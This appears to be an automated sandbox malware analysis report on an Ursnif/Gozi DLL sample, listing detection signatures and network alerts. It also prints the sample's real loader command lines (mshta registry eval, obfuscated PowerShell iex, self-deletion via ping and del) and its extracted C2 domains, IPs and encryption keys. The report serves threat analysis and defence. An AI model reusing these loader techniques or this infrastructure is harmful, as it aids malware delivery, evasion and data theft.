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Windows Analysis Report
XoVzWJQAQ0.dll

Overview

General Information

Sample Name:XoVzWJQAQ0.dll
Analysis ID:620331
MD5:81bdb4c3b30de72ad49b98a4977063c4
SHA1:2b173296dd75395b37d7c5775dd16003c2349a19
SHA256:9c2a2b8d88ab02d37e21c9b97f10b26543daedf353ce76c17b445688b0a041d6
Tags:dllgeoGoziISFBITAUrsnif
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • loaddll32.exe (PID: 6232 cmdline: loaddll32.exe "C:\Users\user\Desktop\XoVzWJQAQ0.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6256 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\XoVzWJQAQ0.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6352 cmdline: rundll32.exe "C:\Users\user\Desktop\XoVzWJQAQ0.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 6596 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • explorer.exe (PID: 3968 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
            • cmd.exe (PID: 5972 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\XoVzWJQAQ0.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 6004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • PING.EXE (PID: 1220 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
            • RuntimeBroker.exe (PID: 4168 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
            • cmd.exe (PID: 1656 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\1BBD.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
  • mshta.exe (PID: 4804 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Hli6='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Hli6).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6000 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name elbnsvbf -value gp; new-alias -name dbiansi -value iex; dbiansi ([System.Text.Encoding]::ASCII.GetString((elbnsvbf "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6268 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\suyq54bl.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 1112 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES99B1.tmp" "c:\Users\user\AppData\Local\Temp\CSCA3AF429E64284F6FBA5C7EF0C7D44D.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 6536 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\que4qvkg.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 7088 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB529.tmp" "c:\Users\user\AppData\Local\Temp\CSC8B2F5B9E5B5E42FBBCD6AAD130D3A7FD.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
  • cleanup
{"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000002.00000003.430345543.0000000000E29000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000002.00000003.271978374.0000000004AA8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000002.00000003.319141424.00000000048AC000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000002.00000003.272282667.0000000004AA8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000013.00000003.386660010.0000026263E2C000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 21 entries
            SourceRuleDescriptionAuthorStrings
            2.2.rundll32.exe.fb0000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.3.rundll32.exe.e294a0.10.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.3.rundll32.exe.e294a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.49aa4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.3.rundll32.exe.49aa4a0.0.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 2 entries
                      No Sigma rule has matched
                      Timestamp:05/04/22-16:26:18.722944 05/04/22-16:26:18.722944
                      SID:2033203
                      Source Port:49743
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-16:26:39.201905 05/04/22-16:26:39.201905
                      SID:2033203
                      Source Port:49748
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-16:26:39.682098 05/04/22-16:26:39.682098
                      SID:2033203
                      Source Port:49748
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-16:26:38.797354 05/04/22-16:26:38.797354
                      SID:2033203
                      Source Port:49748
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Source: 00000002.00000002.442468784.0000000005370000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
                      Source: XoVzWJQAQ0.dllVirustotal: Detection: 39%Perma Link
                      Source: XoVzWJQAQ0.dllReversingLabs: Detection: 50%
                      Source: XoVzWJQAQ0.dllJoe Sandbox ML: detected